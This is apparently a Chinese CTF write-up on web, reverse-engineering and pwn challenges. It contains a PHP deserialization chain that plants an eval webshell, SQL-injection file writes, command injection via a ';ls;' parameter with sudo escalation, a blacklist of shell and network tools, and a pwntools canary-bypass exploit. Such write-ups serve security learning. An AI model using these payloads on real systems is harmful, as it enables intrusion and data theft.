web
瘋狂星期四
先來看一下源碼
分析代碼的黑名單后得知
我們可以用的字符就只剩下
字母a-z(大小寫均可)
數字2
空格
這里的限制太多了
這里比較常用的getallheaders被ban掉了
這里就是用session來做
session_start()開啟session
session_id()獲取session
這里我們要構造一個ls的session
這里既然實現成功了
那么,就之后都只需要改PHPSESSID的值就可以了
可是嘗試用ls /來查看根目錄不成功
這里要注意一個問題PHPSESSID中不可以包含空格所以我們要進行編碼
這里可以看到在數字中只有2沒有被過濾
所以這里就可以聯想到一個函數hex2bin()
這個會將16進制的數字轉換成對應的ASCLL值
這里就可以把ls /轉化一下
然后去傳入
繼續將得到的flag文件名cat
瓦學弟上分記
這里我們開啟環境后看到的是
那么我們就去dirsearch找一下源碼
然后去訪問一下index.php.bak
自動就開始下載
看這個文件名把后綴刪掉,更改為index.php
然后查看
<?php
error_reporting(0);function wadw_decode($str) {$str = base64_decode($str);$str = str_rot13($str);$str = strrev($str);$str = base64_decode($str);$str = strtr($str, 'MNBVCXZLKJHGFDSAPOIUYTREWQmnbvcxzlkjhgfdsapoiuytrewq9876543210+/', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/');$str = str_rot13($str);$str = strrev($str);return base64_decode($str);
}class Valinit {public $mom;public $think;protected $file;public $valt;public function __destruct() {$this->think = "你成功下載了瓦羅蘭特,成為光榮的瓦學弟 (*∩_∩*)<br>";echo $this->think;echo $this->mom;}public function __call($name, $args) {echo "瓦學弟想要找媽媽,但是自己太菜了找不到媽媽 (~T-T~)<br>";$func = $this->mom->valstud;return $func();}public function __toString() {echo "瓦學弟原來有些基礎覺得這游戲輕輕松松 (ˇ^ˇ)<br>";$this->Valfinal();return "";}
}class Process {public $next;public $data;public $rank;public $test;public function __get($name) {if (md5(md5($this->data))==666) {$this->data = "快了快了,瓦學弟感覺自己馬上就能找到媽媽了 q(@^_^@)p<br>";unset($this->data);} else {$this->next = "奮戰百日瓦學弟發現自己的水平越來越行了 o(*^_^*)o <br>";echo $this->next;return $this->valt;}}
}class Finalo { public $val;private $shell;public function __construct() {$this->val = new Valinit();}public function __unset($name) {echo "瓦學弟成功的找到了媽媽 \(@^o^@)/ <br>";eval($this->shell);}
}class Finalt {public $rank;public $file;public $content;public function __invoke() {echo "經過沒日沒夜的練槍,瓦學弟總算打到神話了 ( ?? ω ?? )y<br>";if ($this->rank === "賦能") {echo "憑借著與生俱來的天賦,瓦學弟最終成為了賦能哥 Y(~^o^~)Y<br>";file_put_contents($this->file, $this->content);}}
}if (isset($_GET['wadw'])) {$wadw = wadw_decode($_GET['wadw']);unserialize($wadw);
} else {echo "你也想打瓦?m(-_-)m<br>";
}?>
接下來來分析一下這段代碼
這一段是最后結果的最重要的代碼
剛才那個簡單的界面就是因為這段
然后我們看到需要滿足一定的條件
那就是參數wada要等于進行了函數wada_decode后的
如果符合,就unserialize()
觸發整個魔術方法鏈。
接下來分析整個過程
首先是一個加密
先吧這個對象$str解出來
根據這個代碼進行
這個代碼進行了幾次過程
function wadw_decode($str) {$str = base64_decode($str); // 第 1 步:base64 解碼(最外層)$str = str_rot13($str); // 第 2 步:ROT13 變換$str = strrev($str); // 第 3 步:字符串反轉$str = base64_decode($str); // 第 4 步:base64 解碼$str = strtr($str,'MNBVCXZLKJHGFDSAPOIUYTREWQmnbvcxzlkjhgfdsapoiuytrewq9876543210+/','ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/');// 第 5 步:字符映射還原成標準 base64$str = str_rot13($str); // 第 6 步:再次 ROT13 變換$str = strrev($str); // 第 7 步:再次反轉return base64_decode($str); // 第 8 步:base64 解碼(得到原始數據)
}
那么就逆著這個代碼來
代碼:
<?php
$a = 'new Finalo';
$str = serialize($a);
function decode($str)
{$str = base64_encode($str);$str = strrev($str);$str = str_rot13($str);$str = strtr($str, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/','MNBVCXZLKJHGFDSAPOIUYTREWQmnbvcxzlkjhgfdsapoiuytrewq9876543210+/');$str = base64_encode($str);$str = strrev($str);$str = str_rot13($str);return base64_encode($str);
}
echo $result=decode($str);
這里就得到了原始的str
看源代碼可以知道這里考的是php反序列化
然后就是找鏈子
先找一下最后要用到的位置
在incoke函數中調用了file_put_contents()
我們可以利用這個函數來寫入木馬
所以必須調用到invoke函數
那調用invoke函數又需要使用到
中的$func這個對象被當作函數用觸發invoke()
觸發call()又需要調用一個找不到的方法Valfinal()
調用這個又要輸出對象使用echo或者print
又需要用到destruct()中的mom這個對象
調用destruct()的話需要在反序列化完成后會自動刪除,調用這個函數
這里就可以構造鏈子
<?php
class Valinit {public $mom;public $think;protected $file;public $valt;
}class Finalt {public $rank;public $file;public $content;
}$a = new Finalt();
$a -> rank = "賦能";
$a -> file = '1.php';
$a -> content = "<?php @eval(\$_POST[1]);?>";$o = new stdClass();
$o->valstud = $a; //觸發__invoke()$b = new Valinit();
$b->mom = $o; //觸發__call()$a = new Valinit();
$a->mom = $b; //觸發__tostring()function decode($str)
{$str = base64_encode($str);$str = strrev($str);$str = str_rot13($str);$str = strtr($str, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/','MNBVCXZLKJHGFDSAPOIUYTREWQmnbvcxzlkjhgfdsapoiuytrewq9876543210+/');$str = base64_encode($str);$str = strrev($str);$str = str_rot13($str);return base64_encode($str);
}
$str = serialize($a);
echo $result=decode($str);
?將得到的結果進行傳參
顯示以下界面就說明成功了
然后就需要訪問那個馬了
?
admin Pro Max
我們開啟環境后首先看到的是一個登錄界面
既然如此,那就先填個admin賬戶吧
密碼去爆破一下得到密碼也是admin
我們直接登錄
登錄成功
看到下面選項
要找flag
先看看吧
這個樣子一看就好假
看來都是假的
看看地址欄
看的出來登錄以后是一個文件包含,且沒有我們想要的東西
那這個home.php就沒有什么用了
我們就回到登錄界面再看
在用戶名輸入一個單引號嘗試閉合看看
那就是sql注入了,而且單引號是被禁用了的
所以就猜測,后臺語句是
select * from `TG1u` where user='$username' and password='$password';
所以這個單引號逃逸的技巧就是我們使用\把username后面的單引號轉義掉
然后他最后就變成
select user from user where user='$_POST[username]\' and password='$_POST[password]';
把轉義的符號去掉理解一下
select user from user where user='$_POST[username] and password='$_POST[password]';
所以username的單引號是在passwd前面那個閉合的
這里我們嘗試一下
?這樣就順利到了查字段數
但是這里4太大了
這就說明字段數是2
繼續查回顯位后成功
然后報庫名
這里需要注意的是在查回顯位2的庫名時就會發現后面缺少了3是不行的
那后面的都得帶上3
接下來查表名成功看到了flag
又近了一步
接下來就去看flag的內容
這里查內容結果得到一個假的flag
那就得另想辦法
sql寫馬
可以用outfile或者dumpfile命令來寫入
在MySQL中outfile和dumpfile函數都是用來寫入(輸出)文件的,它們的功能相似但存在差異
outfile可以輸出多行內容,而dumpfile只輸出一行內容
outfile會破壞文件原有的數據格式,如(\n會變成\)
所以如果想保持原數據格式進行輸出的話,就需要用dumpfile代替outfile
"寫入的內容" into outfile/dumpfile "絕對路徑"
那么我們就得去看用戶 (因為寫入東西有權限要求)
現在知道了我們的root用戶名
還需要去找該網站的根目錄
?
找到了目錄
接下來就是去寫馬
這里我們試圖寫入結果顯示已存在,那么就成功了
接下來我們再登錄去訪問file參數
這里也證實了寫馬成功
這里最可疑的就是secret
所以我們就cat它
圖床
老樣子,dirsearch
兩個重點,一個是login.php,一個www.zip
很顯然,ww.zip更是我們所需要的東西
解壓后看到是源碼:
login.php:
<?php
session_start();$SECRET_KEY = getenv('SECRET_KEY');if ($_SERVER['REQUEST_METHOD'] === 'POST') {$username = $_POST['username'];$password = $_POST['password'];if ($username === 'TG1u') {if (hash('sha256', $password) === 'cde9db455bafb96f7c2a16e5827335e82a8bf74010c5370f5e95ce69f6ee1302') {$_SESSION['username'] = $username;header('Location: index.php');exit();} else {$_SESSION['admin'] = 'Invalid password';header('Location: login.php');exit();}} else {$_SESSION['username'] = $username;header('Location: index.php');exit();}
}$admin_message = isset($_SESSION['admin']) ? $_SESSION['admin'] : '';
unset($_SESSION['admin']);
?><!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Login</title><style>:root {--primary: #4361ee;--secondary: #3f37c9;--light: #f8f9fa;--dark: #212529;--success: #4cc9f0;--danger: #f72585;}* {box-sizing: border-box;margin: 0;padding: 0;}body {font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);min-height: 100vh;display: flex;justify-content: center;align-items: center;padding: 20px;}.container {width: 100%;max-width: 400px;}.card {background: rgba(255, 255, 255, 0.95);border-radius: 16px;box-shadow: 0 8px 32px rgba(31, 38, 135, 0.37);backdrop-filter: blur(4px);border: 1px solid rgba(255, 255, 255, 0.18);overflow: hidden;}.card-header {background: var(--primary);color: white;padding: 20px;text-align: center;}.card-body {padding: 30px;}.form-group {margin-bottom: 20px;}label {display: block;margin-bottom: 8px;font-weight: 500;color: var(--dark);}input[type="text"],input[type="password"] {width: 100%;padding: 12px 15px;border: 1px solid #ddd;border-radius: 8px;font-size: 16px;transition: border-color 0.3s;}input[type="text"]:focus,input[type="password"]:focus {border-color: var(--primary);outline: none;box-shadow: 0 0 0 3px rgba(67, 97, 238, 0.2);}.btn {display: block;width: 100%;padding: 12px;background: var(--primary);color: white;border: none;border-radius: 8px;font-size: 16px;font-weight: 600;cursor: pointer;transition: background 0.3s;}.btn:hover {background: var(--secondary);}.alert {padding: 12px;border-radius: 8px;margin-bottom: 20px;}.alert-danger {background: #f8d7da;color: #721c24;border: 1px solid #f5c6cb;}.info {text-align: center;margin-top: 20px;color: #6c757d;font-size: 14px;}</style>
</head>
<body><div class="container"><div class="card"><div class="card-header"><h1>Welcome to ImageShare</h1></div><div class="card-body"><?php if (!empty($admin_message)): ?><div class="alert alert-danger"><?php echo htmlspecialchars($admin_message); ?></div><?php endif; ?><h2 style="text-align: center; margin-bottom: 20px; color: #343a40;">Login to Continue</h2><form action="login.php" method="post"><div class="form-group"><label for="username">Username</label><input type="text" id="username" name="username" required autofocus></div><div class="form-group"><label for="password">Password</label><input type="password" id="password" name="password" required></div><button type="submit" class="btn">Login</button></form></div></div></div>
</body>
</html>
在這里面我們就可以看到正確的用戶名和密碼
所以用戶名:TG1u
但是這個密碼就不一樣了
密碼只告訴了我們被sha256加密后的
那么我們就得想辦法去拿到這個沒有被加密的
在線網站:哈希彩虹表在線查詢|MD5在線解密加密|SHA1在線解密加密|SHA256在線解密加密|SHA512在線解密加密|GEEKAPP開發者在線工具
這樣我們就順利地登錄了!
?現在就進入了upload.php界面
那么就來看看它的源碼吧:
upload.php:
<?php
session_start();function allowed_file($filename) {$allowed_extensions = array('png', 'jpg', 'jpeg', 'gif', 'bmp', 'webp');$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));return in_array($ext, $allowed_extensions);
}if (!isset($_SESSION['username'])) {header('Location: login.php');exit();
}if (!file_exists('./uploads')) {mkdir('./uploads', 0777, true);
}if ($_SERVER['REQUEST_METHOD'] === 'POST') {if (!isset($_FILES['file'])) {$_SESSION['admin'] = 'No file selected';header('Location: upload.php');exit();}$file = $_FILES['file'];if ($file['name'] === '') {$_SESSION['admin'] = 'No file selected';header('Location: upload.php');exit();}if (!allowed_file($file['name'])) {$_SESSION['admin'] = 'Only image files are allowed (png, jpg, jpeg, gif, bmp, webp)';header('Location: upload.php');exit();}$file_path = uniqid() . '_' . $file['name'];move_uploaded_file($file['tmp_name'], './uploads/' . $file_path);header('Location: upload.php?file_path=' . urlencode($file_path));exit();
}$admin_message = isset($_SESSION['admin']) ? $_SESSION['admin'] : '';
unset($_SESSION['admin']);$username = $_SESSION['username'];
?><!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Upload Image</title><style>:root {--primary: #4361ee;--secondary: #3f37c9;--light: #f8f9fa;--dark: #212529;--success: #4cc9f0;--danger: #f72585;}* {box-sizing: border-box;margin: 0;padding: 0;}body {font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;background: linear-gradient(135deg, #43e97b 0%, #38f9d7 100%);min-height: 100vh;display: flex;justify-content: center;align-items: center;padding: 20px;}.container {width: 100%;max-width: 600px;}.card {background: rgba(255, 255, 255, 0.95);border-radius: 16px;box-shadow: 0 8px 32px rgba(31, 38, 135, 0.37);backdrop-filter: blur(4px);border: 1px solid rgba(255, 255, 255, 0.18);overflow: hidden;}.card-header {background: var(--primary);color: white;padding: 20px;text-align: center;position: relative;}.user-info {position: absolute;top: 10px;right: 20px;font-size: 14px;background: rgba(255, 255, 255, 0.2);padding: 5px 10px;border-radius: 20px;}.card-body {padding: 30px;}.form-group {margin-bottom: 25px;}.upload-area {border: 2px dashed #ccc;border-radius: 12px;padding: 40px 20px;text-align: center;transition: all 0.3s;background: #f8f9fa;cursor: pointer;}.upload-area:hover {border-color: var(--primary);background: #edf2ff;}.upload-icon {font-size: 48px;color: var(--primary);margin-bottom: 15px;}.btn {display: block;width: 100%;padding: 12px;background: var(--primary);color: white;border: none;border-radius: 8px;font-size: 16px;font-weight: 600;cursor: pointer;transition: background 0.3s;margin-top: 20px;}.btn:hover {background: var(--secondary);}.btn-logout {background: #6c757d;margin-top: 15px;}.btn-logout:hover {background: #5a6268;}.alert {padding: 12px;border-radius: 8px;margin-bottom: 20px;border: 1px solid transparent;}.alert-success {background: #d4edda;color: #155724;border-color: #c3e6cb;}.alert-danger {background: #f8d7da;color: #721c24;border-color: #f5c6cb;}.logout-container {text-align: center;margin-top: 20px;}.uploaded-image {max-width: 100%;margin-bottom: 20px;border: 1px solid #ddd;border-radius: 8px;}</style>
</head>
<body><div class="container"><div class="card"><div class="card-header"><h1>Image Upload</h1><div class="user-info">Logged in as: <?php echo htmlspecialchars($username); ?></div></div><div class="card-body"><?php if (!empty($admin_message)): ?><div class="alert alert-danger"><?php echo htmlspecialchars($admin_message); ?></div><?php endif; ?><?php if (isset($_GET['file_path'])): ?><?php$file_name = $_GET['file_path'];$full_path = './uploads/' . $file_name;$blacklist = array('sh', 'bash', 'zsh', 'ksh', 'csh', 'tcsh', 'nc', 'netcat', 'ncat', 'socat', 'perl', 'python', 'ruby', 'lua', 'wget', 'curl', 'fetch', 'lynx', 'sudo','ssh', 'telnet', 'rsh', 'rexec', 'sftp', 'rm', 'mv', 'dd', 'mkfs', 'chmod', 'chown', 'reverse', 'shell', 'bind', 'pty', 'exec', 'sh -i', '/dev/tcp', '/dev/udp' );foreach ($blacklist as $char) {if (strpos($file_name, $char) !== false) {die();}}if ($_SESSION['username'] === 'TG1u') { if(allowed_file($full_path)) {if(file_exists($full_path)){$content = file_get_contents($full_path);$b64 = base64_encode($content);$finfo = new finfo(FILEINFO_MIME_TYPE);$mime_type = $finfo->buffer($content);echo '<img src="data:'.$mime_type.';base64,'.$b64.'" alt="Uploaded Image" class="uploaded-image">';} else {echo '<div class="alert alert-danger">File not found.</div>';}} else { include($full_path);} } else {system('base64 ' . $file_name . ' > /tmp/' . $file_name . '.b64');echo '<div class="alert alert-danger">Sorry, but you are not allowed to view this image.</div>';}?><?php endif; ?><form action="upload.php" method="post" enctype="multipart/form-data"><div class="form-group"><div class="upload-area" onclick="document.getElementById('file-input').click()"><div class="upload-icon">📁</div><h3>Click to select an image</h3><p>or drag and drop your file here</p></div><input type="file" id="file-input" name="file" accept="image/*" style="display: none;" onchange="this.form.submit()"></div><button type="submit" class="btn">Upload Image</button></form><div class="logout-container"><a href="login.php" class="btn btn-logout">Back to Login</a></div></div></div></div>
</body>
</html>
此外其實我們還需要注意到一點:在www文件夾中有一個文件夾名為uploads,其實這就說明我們所上傳的文件都存在這個文件夾中了
進去可以看到有一個已經存在的.htaccess文件?
作用?:拒絕所有用戶訪問所有以? ?.php? 為結尾的文件
接下來來分析一下upload.php文件
有一個白名單:'png', 'jpg', 'jpeg', 'gif', 'bmp', 'webp'
整個代碼的流程就是:先判斷你是否登錄了,沒有登錄就返回登錄界面
????????????????????????????????? ? 然后判斷uploads文件夾是否在,不在就創建
????????????????????????????????? ? 通過POST方法上傳文件,再檢查是否上傳了文件,是否上傳的文件名為空,如果檢查不通過就輸出'No file selected'
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 然后再調用前面已經定義的白名單函數,不符合就輸出'Only image files are allowed (png, jpg, jpeg, gif, bmp, webp)'????????????????????????????????? ? 如果前面的檢查都通過了,就會使用
uniqid()
防止文件名沖突,并且將上傳結果跳轉回頁面并傳遞路徑。????????????????????????????????? ? 最后使用
$_SESSION['admin']
傳遞錯誤信息
整個流程看明白了,那么大致就是要繞過白名單那件事了
上面的分析漏了一大半(只有前端代碼的前面的部分)
在代碼的最下面還有一長段
?這里又看到了一堆黑名單
然后在下面可以看到,當用戶為TG1u時 ,可以執行后續判斷和文件讀取或執行
但是如果只是一個普通用戶,就只能用system
去實踐了一下,確實是,不允許我看而TG1u就可以看到
但是由于文件名的限定,我們上傳的僅僅只是圖片后綴的文件
所以導致沒有辦法將圖片馬里的代碼被執行
這里我們就得好好利用兩個用戶之間權限的差異了
普通用戶里面自帶system函數
?而我們所在get傳參中所上傳的參數存為了變量file_name,也正是這system中所利用的變量
那么我們用? ;來截斷前后
這樣這個代碼就會變成
system(base64;command;> /tmp/ ;command; b64);
我們另外開啟一個頁面,登錄普通用戶
并且get傳參傳入file_path=;ls;
?在這個圖片中就證實了前面的代碼執行了
這里可能會有個疑惑點就是為什么會有兩個uploads,其實再仔細比對會發現都有兩個相同的結果
這是因為前面我們的代碼中的system函數里執行了兩次command
既然這樣能看了,我們就去看看uploads剛剛我們用TG1u用戶上傳的文件
經過多次嘗試后,由于我們是普通用戶根本看不了圖片,看到的只是亂碼(無論是原有的還是我們所上傳的)不過
不過在cat我們所上傳的圖片馬時卻收到了火絨的提醒,這說明木馬是上傳成功了,但是由于后綴名而不被當做php代碼被解析,所以去進行連接時會返回數據為空
先不管了
先去找一下flag,依照慣例去看一下根目錄
確實是看到了flag
既然看到了就嘗試cat它一下
由于權限不夠,我們看不了flag
那就必須返回到TG1u的用戶下去進行
但是如果繼續上傳圖片馬并沒有辦法解析成php
這就得注意到一個點“我們的文件上傳方式是POST,而權限的限定的是在GET里的傳參”
那我們就直接寫馬,在get傳參中寫一個木馬文件,后綴名不是圖片形式(因為不會被解析),也不是php形式(因為前文提到的被禁止訪問所有的.php文件)
這里補充一句,之所以可以這么做是因為有文件包含
正好源碼中有
這個利用傳參寫馬需要在普通用戶下進行(還是由于system)
然后我們來ls一下看有沒有了既然有了就回到TG1u下去利用馬來cat flag
先ls看能不能成功
成功,那就cat,但是如果直接cat是無用的
這里就說明我們的權限還是不夠
提權到root(利用sudo命令)
Re
師兄的愛戀故事1(取證)
首先我們下載的是一個名為exe的文件
沒有后綴名,那么我們就去改名為1.exe
那么就看到了師兄
這就說明我們的改名的選擇是正確的
再來看看這個提示
那么就去安裝看看pyinstaller
但是了解后發現其實pyinstaller的作用就是這樣看來利用pyinstaller是不能實現的
因為他的結果就是創了一個exe可執行程序
我還特意去改成了py的后綴
但是報錯
如果你只有 .exe
文件,沒有 .py
:
那 PyInstaller 是用不了的,因為它不能反編譯 exe 文件。
你可能需要用 反編譯工具(比如 pyinstxtractor.py
)嘗試提取源碼
?? 總結
你有 | 用途 | 是否能用 PyInstaller |
---|---|---|
.py 文件 | 打包成 .exe | ? 支持 |
.exe 文件 | 想逆向成 .py | ? 不支持(需要反編譯工具) |
-
?
pyinstxtractor.py
—— 提取 PyInstaller 包內容 -
?
uncompyle6
或pycdc
—— 將.pyc
反編譯成.py
-
? Python 對應版本(重要!必須匹配)?
?工具準備好后,我們就開始進行反編譯吧
運行命令
python pyinstxtractor.py 1.exe
然后我們就看到了反編譯文件? ?師兄的故事.pyc
然后再用
uncompyle6 "師兄的故事.pyc" > main.py
這里就看到出現了版本問題
再換成pycdc的來解成py文件
成功后得到源碼
看到關鍵語句
這就說明這一段代碼是在進行AES加密
所以需要進行AES解密
所以寫代碼
from Crypto.Cipher import AES# 提供的信息
AES_KEY = b' \xf3\x10\x0bA.\xfe\xd1\xb9\x16\xa2\xde\x03\xc4\xdf\x00'
AES_IV = b',\x19\xd5\xd3\xf5\xf2\xe9\xf7\xd0\xe1\x0e\x98I!J\xcd'
ENCRYPTED_PASSWORD = b'.\xd6nP\x7f@Z\xe4\xb7\xd3\xfb\x82r_/q'
# 創建AES-CBC解密器
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)# 解密數據
decrypted = cipher.decrypt(ENCRYPTED_PASSWORD)# 移除PKCS7填充
pad_length = decrypted[-1]
if pad_length < 1 or pad_length > AES.block_size:print("警告:填充值無效,可能不是PKCS7填充")password = decrypted
else:# 驗證并移除填充if decrypted[-pad_length:] == bytes([pad_length] * pad_length):password = decrypted[:-pad_length]else:print("警告:PKCS7填充驗證失敗,嘗試直接輸出")password = decrypted# 嘗試以多種編碼格式解碼結果
def decode_bytes(data):try:return data.decode('utf-8'), 'utf-8'except UnicodeDecodeError:try:return data.decode('latin-1'), 'latin-1'except:return data, 'hex'# 顯示解密結果
result, encoding = decode_bytes(password)
print("\n" + "="*50)
print(f"密鑰 (hex): {AES_KEY.hex()}")
print(f"IV (hex): {AES_IV.hex()}")
print(f"密文 (hex): {ENCRYPTED_PASSWORD.hex()}")
print("\n解密結果:")
if encoding == 'hex':print(f"原始字節: {password}")print(f"十六進制: {password.hex()}")print(f"Base64: {base64.b64encode(password).decode('utf-8')}")
else:print(f"明文密碼: {result}")print(f"編碼格式: {encoding}")print(f"原始字節: {password}")
print("="*50)
得到了結果
再運行剛才的exe文件
喜歡師兄講的課嗎
獲得的附件名為zip
所以改名為1.zip
然后就得到了一個后綴為apk的文件
🔧 安卓逆向所需工具:
任務 | 工具推薦 |
---|---|
反編譯 APK | jadx、apktool |
分析 .so 庫 | Ghidra、IDA Pro、Cutter、Radare2 |
解密、調試算法 | Frida(動態分析)、Python(重寫算法) |
那么這里我們就不能用ida來進行反編譯,而是用jadx來進行安卓逆向
這里就得先進入jadx的文件夾中
然后在地址欄輸入cmd來打開Dos命令窗口然后再依次輸入兩個命令
cd lib
java -jar jadx-gui-1.4.4.jar
然后就進入了gui界面的jadx
然后把剛才的apk文件拖到界面中
然后再去找main函數(和ida中一樣)
這里能夠注意到一個xor的存在
重點分析一下這句話呢
不是很懂,問問ai
https://chatgpt.com/s/t_6868ffec2b8881918ff892d10ed88b0d
然后我們就需要去找.so的文件
將獲得的.apk文件修改為.zip文件
然后進入文件夾中找到.so文件,交給ida進行反編譯然后再去找剛剛分析出來的名字
Java_com_example_createso_MainActivity_baby_1xor
然后就找到了
?再來進行分析一下這段代碼
就是獲取了一個數組的長度,然后將這個數組四個為一組,與key進行異或
那么我們就得去找key值這里應該會有key值
那么就看看
但是這里得到的key是假的
其實我們在剛剛的那個界面里去找到那個key數組,然后追蹤就可以得到但是這個追蹤得到的也假,居然是連著的四個數
錯了錯了
這里我們得仔細看一下剛才的hide_key函數里的, 里面顯示的是
key[0]^0x47
key[1]^0x32
key[2]^0x11
key[3]^0x12
?那么這里我們找到的連著的四個數就是key數組
然后寫代碼
# 你在so里拿到的混淆key原始值(舉例,替換成你實際值)
obfuscated_key = [0x56, 0x57, 0x58, 0x59] # 根據hide_key異或規則解密key
real_key = [obfuscated_key[0] ^ 0x47,obfuscated_key[1] ^ 0x32,obfuscated_key[2] ^ 0x11,obfuscated_key[3] ^ 0x12,
]# 已知密文c
cipher = [119, 9, 40, 44, 106, 84, 113, 124, 34, 93,122, 121, 119, 4, 120, 124, 36, 7, 127, 42,117, 6, 112, 41, 32, 4, 112, 47, 119, 81,123, 47, 33, 81, 40, 120, 114, 24
]# 反向異或恢復flag
flag = [chr(c ^ real_key[i % 4]) for i, c in enumerate(cipher)]print("Flag:", "".join(flag))
?
來咯來咯
得到的是一個exe文件,但是長的像zip
那就改后綴為zip
解壓后得到了一堆txt文件和一個exe文件以及一個文件夾
去把那個exe文件看看
這里最特殊的就是那個d.pyc
就先對它進行反編譯
https://pylingual.io/
看到這個是一個加密過程
但是密文太長了
而且從代碼中可以看到key就是我們從exe反編譯出的txt文件的內容
就用在線工具為我們解密
Fernet 在線解密 | 長亭百川云
看結果大致是一個python代碼
就去看看
找到關鍵代碼
只要我們在程序中輸入“糖果”就會輸出flag
那么這里我們就運行aomo.exe,并輸入糖果
把這個截屏發到微信進行文字提取
pwn
canary
canary這個知識點在我之前的文章里有涉及Canary_canary csdn-CSDN博客
這里我們得到文件后先去checksec文件
?
開啟了canary保護
ida反編譯看看代碼
?非常完美的擁有格式化輸出printf
那就利用這一句來獲得canary的地址
通過覆蓋最低字節,然后再補齊,在原封不動的放回去,達到棧溢出的目的
去看main的棧圖
分析得出cnary在RSP寄存器上,大小為8字節
第一個buf的大小為0x30字節,但是接收的卻是0x100,所以就輸入0x30-0x8+0x1字節,覆蓋掉\x00
然后第二次棧溢出將canary的值再變回來
然后覆蓋返回地址到后門函數就可以cat flag了
from pwn import*
p=remote('172.16.17.201',50079)
backdoor = 0x04011DE
padding = 0x30 - 0x08
p.sendlineafter(b'Tell me your name\n',b'a'*(padding))
canary = u64(p.recvuntil(b'D')[-10:-3].rjust(8,b'\x00'))
print(hex(canary))
payload = b'a' * (0x50 - 0x08) + p64(canary) + b'a' * 0x08 + p64(backdoor)
p.sendline(payload)
p.interactive()
?